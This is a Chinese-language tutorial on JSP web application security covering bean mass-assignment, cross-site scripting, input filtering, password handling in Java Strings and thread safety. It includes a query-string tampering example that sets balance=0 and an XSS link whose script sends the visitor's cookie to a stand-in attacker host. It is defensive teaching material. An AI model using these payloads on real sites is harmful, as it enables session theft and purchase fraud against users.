守好Bean的入口 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
注意到property="*"了吗?这表明用户在可见的JSP页面中输入的,或是直接通过Query String提交的全部变量的值,将存储到匹配的bean属性中。
用户是这样提交请求的:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
但是不守规矩的用户呢?他们可能会提交:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
这样,balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候,费用就全免了。
这与PHP中全局变量导致的安全问题如出一辙。由此可见:“property="*"”一定要慎用!
长盛不衰的跨站脚本
跨站脚本(Cross Site Scripting)攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash等脚本,窃取浏览此页面的用户的隐私,改变用户的设置,破坏用户的数据。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响,但对客户端的安全构成严重的威胁。
举个最简单的例子。当我们提交
由于在返回“name”变量的值给客户端时,脚本没有进行任何编码或过滤恶意代码,当用户访问嵌入恶意“name”变量数据链接时,会导致脚本代码在用户浏览器上执行,可能导致用户隐私泄露等后果。比如下面的链接:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie</script>
xxx.xxx用于收集后边跟的参数,而这里参数指定的是document.cookie,也就是访问此链接的用户的cookie。在ASP世界中,很多人已经把偷cookie的技术练得炉火纯青了。在JSP里,读取cookie也不是难事。当然,跨站脚本从来就不会局限于偷cookie这一项功能,相信大家都有一定了解,这里就不展开了。
对所有动态页面的输入和输出都应进行编码,可以在很大程度上避免跨站脚本的攻击。遗憾的是,对所有不可信数据编码是资源密集型的工作,会对 Web 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤,比如下面的代码就把危险的字符进行替换:
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace ('/'','_');
message = message.replace ('%','_');
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
更积极的方式是利用正则表达式只允许输入指定的字符:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}
时刻牢记SQL注入
String对象带来的隐患
Java平台的确使安全编程更加方便了。Java中无指针,这意味着 Java 程序不再像C那样能对地址空间中的任意内存位置寻址了。在JSP文件被编译成 .class 文件时会被检查安全性问题,例如当访问超出数组大小的数组元素的尝试将被拒绝,这在很大程度上避免了缓冲区溢出攻击。但是,String对象却会给我们带来一些安全上的隐患。如果密码是存储在 Java String 对象中的,则直到对它进行垃圾收集或进程终止之前,密码会一直驻留在内存中。即使进行了垃圾收集,它仍会存在于空闲内存堆中,直到重用该内存空间为止。密码 String 在内存中驻留得越久,遭到窃听的危险性就越大。更糟的是,如果实际内存减少,则操作系统会将这个密码 String 换页调度到磁盘的交换空间,因此容易遭受磁盘块窃听攻击。为了将这种泄密的可能性降至最低(但不是消除),您应该将密码存储在 char 数组中,并在使用后对其置零(String 是不可变的,无法对其置零)。
线程安全初探
“JAVA能做的,JSP就能做”。与ASP、PHP等脚本语言不一样,JSP默认是以多线程方式执行的。以多线程方式执行可大大降低对系统的资源需求,提高系统的并发量及响应时间。线程在程序中是独立的、并发的执行路径,每个线程有它自己的堆栈、自己的程序计数器和自己的局部变量。虽然多线程应用程序中的大多数操作都可以并行进行,但也有某些操作(如更新全局标志或处理共享文件)不能并行进行。如果没做好线程的同步,在大并发量访问时,不需要恶意用户的“热心参与”,问题也会出现。最简单的解决方案就是在相关的JSP文件中加上: <%@ page isThreadSafe="false" %>指令,使它以单线程方式执行,这时,所有客户端的请求以串行方式执行。这样会严重降低系统的性能。我们可以仍让JSP文件以多线程方式执行,通过对函数上锁来对线程进行同步。一个函数加上synchronized 关键字就获得了一个锁。
但是这样仍然会对系统的性能有一定影响。一个更好的方案是采用局部变量代替实例变量。因为实例变量是在堆中分配的,被属于该实例的所有线程共享,不是线程安全的,而局部变量在堆栈中分配,因为每个线程都有它自己的堆栈空间,所以这样线程就是安全的了。
如果采用的是实例变量,那么该实例变量属于该实例的所有线程共享,就有可能出现用户A传递了某个参数后他的线程转为睡眠状态,而参数被用户B无意间修改,造成好友错配的现象。